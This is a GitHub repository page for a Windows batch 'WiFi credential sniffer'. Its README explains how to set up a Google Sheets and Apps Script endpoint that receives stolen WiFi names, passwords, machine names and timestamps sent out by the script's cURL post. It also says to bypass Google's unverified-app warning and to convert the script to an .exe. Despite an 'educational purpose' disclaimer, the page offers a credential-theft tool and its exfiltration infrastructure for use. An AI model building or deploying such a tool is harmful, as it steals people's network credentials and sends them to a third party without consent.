Skip to content

This is an actual CLI-based batch(.BAT) script program that works on the MS-DOS configured service by Microsoft Corporation. The functionality of the BATCH SCRIPT is to simply collect data such as, WiFiName(SSID), WiFiPassphrase(PASSWORD), Name Of The System, Time And Date When The Program Ran. And then finally sends it off to a database to view.

Notifications You must be signed in to change notification settings

MushahidAli/WiFi-Credential-Sniffer

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 

Repository files navigation

DISCLAIMER : [NOTICE] - IT SHOULD ONLY BE USED FOR EDUCATIONAL PURPOSE BY SENIOR DEVELOPERS. ANY MISUSE OF "Mushahid Ali's" CODE WILL BE CONSIDERED AS A PUNISHABLE OFFENSE!

Before using this, first create the following -

#1. Create a Google Spreadsheet at : https://docs.google.com/spreadsheets/u/0/ so that we can make Google Sheets as a database where we can store all the WiFi Credentials!

#2. At the first row, first column[A1]; insert text such as "first".

#3. At the first row, second column[B1]; insert text such as "second".

#4. Now, we need a script(INTERFACE) to connect Google Sheets(dataBase) with our CLI-based program. For that we'll be using Google App Script service. Go to "Tools" and then select to Script Editor.

#5. In the code section, paste the following code, save it, run the code :

function doGet(e) {
    //Displays the text on the webpage.
    return ContentService.createTextOutput("This is a GET Request!");
}

function doPost(e) {
    var sheet = SpreadsheetApp.getActiveSheet();
    
    //Parsing the request body
    var body = JSON.parse(e.postData.contents)
    
    //Adding a new row with content from the request body
    sheet.appendRow([body.first,
    body.second
    ])
}

#6. Go to "Deploy" and then click on "New Deployment".

#7. In it, click on the "Service Type" and click on "Web App". Fill the data only for : "Execute as" to : YOURMAIL@MAIL.com AND "Who has access" to : "anyone".

#8. And then deploy it. NOTICE : If it asks for "Review permission", grant it permission even if it is showing "This App ins't verified", click on Advanced and click on the unsafe link below it.

#9. And FINALLY it will provide you with a Web App URL(LINK), copy it and paste it in the batch(.bat) program's cURL post link!

NOTE: The program needs "Run As Admin" privileges and an active Internet connection to run the batch script. You can convert the batch file to an exe by downloading bat2exe converter and convert the program if you wish!

This Is Mushahid Ali, signing out! ENJOY!

About

This is an actual CLI-based batch(.BAT) script program that works on the MS-DOS configured service by Microsoft Corporation. The functionality of the BATCH SCRIPT is to simply collect data such as, WiFiName(SSID), WiFiPassphrase(PASSWORD), Name Of The System, Time And Date When The Program Ran. And then finally sends it off to a database to view.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published